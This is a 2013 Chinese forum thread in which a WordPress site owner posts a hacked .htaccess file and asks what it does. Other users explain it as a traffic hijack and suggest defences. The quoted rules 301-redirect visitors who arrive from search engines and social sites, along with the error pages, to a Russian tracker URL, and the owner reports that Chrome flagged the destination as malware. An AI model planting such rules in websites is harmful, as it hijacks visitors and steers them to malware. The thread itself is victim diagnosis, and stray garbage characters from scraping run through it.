看我某站点上的.haccess文件，这是被别人黑了吧？谢谢

roror999

一个wordpress站点，

今天偶尔将二级目录打错，发现跳转到

1. http://pyatnickiy.ru/track.php

复制代码

纳闷，一顿搜索，发现站点根目录下的.haccess文件达27KB

0 h; Q/ w( O8 |/ x% @$ j! w

打开一看，部分代码如下

1. <IfModule mod_rewrite.c>                                
   
2. RewriteEngine On                                       
   # q; I3 J; q  }, ^. [0 m
3. RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)         
   
4. RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]   
   7 {9 {) F+ F) Y% v0 _9 ]& e
5. RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)                                                                                
   ! m! H* ?7 U. a' R6 b. f# X
6. RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]                                                
   : B& m# ~/ ]3 G3 I7 M( G8 t
7. </IfModule>                                                                                                                                                                     
   # F0 e" ?* G7 v% }+ ~3 }
8. ErrorDocument 400 http://pyatnickiy.ru/track.php                                                
   4 M' H6 \5 L, k9 Y* S) i
9. ErrorDocument 401 http://pyatnickiy.ru/track.php        
   0 Y' Y! k& C2 }
10. ErrorDocument 403 http://pyatnickiy.ru/track.php        
    ) l" n* l9 Q; o1 V/ ]  D: }
11. ErrorDocument 404 http://pyatnickiy.ru/track.php        
    
12. ErrorDocument 500 http://pyatnickiy.ru/track.php

复制代码

这是曾经被别人黑过了吧？

黑客到我站点里做了什么，对他有什么好处呢？  
) ?  j) C) [' V1 G5 {- ?8 `# N* `求助，谢了先

( r% o: H2 \6 Q1 u# W) i5 J0 ]& T

% _5 k0 ^* S$ C; Z  f

roror999

补充，这个站点安装在hawkhost老鹰主机的空间里

满意沟通

来源那些搜索引擎的流量 301到那个网站

400等那些错误 也到那个网站

生鱼片

网站被劫持了 自己打开看不到
4 |- C. a8 k! t$ z( d7 t从GOOGLE点进来301到http://pyatnickiy.ru/track.php

roror999

生鱼片 发表于 2013-4-9 16:52
) M* k) {6 Z1 F' L; I网站被劫持了 自己打开看不到
从GOOGLE点进来301到http://pyatnickiy.ru/track.php

! |' Y  M, M% g5 r0 C谢谢，果然如此，

/ u% d! |8 C, w. A3 x我在google.com里site：domain.com ，点链接过去，google提示

要前往的网站包含恶意软件！
) o$ x4 u% x, P, s; x5 vGoogle Chrome现已阻止访问 mampoks.ru。

dfy

俄罗斯的黑客。。。

浅醉

最近发觉黑客活动特别频繁,让我等小白情何以堪

gger

一直不知道这个文件的作用

number007

网站被劫持了 自己打开看不到
2 E4 D; c* _2 _/ R7 v) V

好人

number007 发表于 2013-4-9 20:31
) ?4 ~7 H0 |3 Y  s6 z网站被劫持了 自己打开看不到

301跳转。
( o' [9 l" P, W- O从上面来路的，自动跳转到他的网站。

好人

roror999 发表于 2013-4-9 16:23
& E7 D0 {' g3 S3 m" R% _补充，这个站点安装在hawkhost老鹰主机的空间里

7 k6 X1 j9 s, n) U( C( n2 Q我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站，对方是旁注写入的。你根本就没有办法。
5 l3 M& f6 S/ k- ~. R给ADMIN文件夹加个密吧。否则有你受的。
不知道你是不是WP程序，如果是，加个安全插件。通过这两个方法，应该可以解决这个问题。

米客小D

好人 发表于 2013-4-9 21:56
/ c) U+ o: W% j) F! m2 T4 z+ ~我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站，对方是旁注写入的。你根本就没 ...

文件夹加密怎么设置啊 在哪里设置？

goyh

看来要注意下了，，，

roror999

好人 发表于 2013-4-9 21:56
8 |- m$ r5 F* {: T* q我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站，对方是旁注写入的。你根本就没 ...

% l2 ~- }/ U: `$ E0 |9 s
兄弟您好，用的wordpress
请问，给admin文件夹加密，怎么做呀？

9 N2 N3 ~3 ?. O4 M; K( y* X) T: l* A谢了先
2 ?5 Z# @+ q- }1 k# I! z

mediabuy

被劫持了。这些关键词从这些搜索引擎进来则跳转。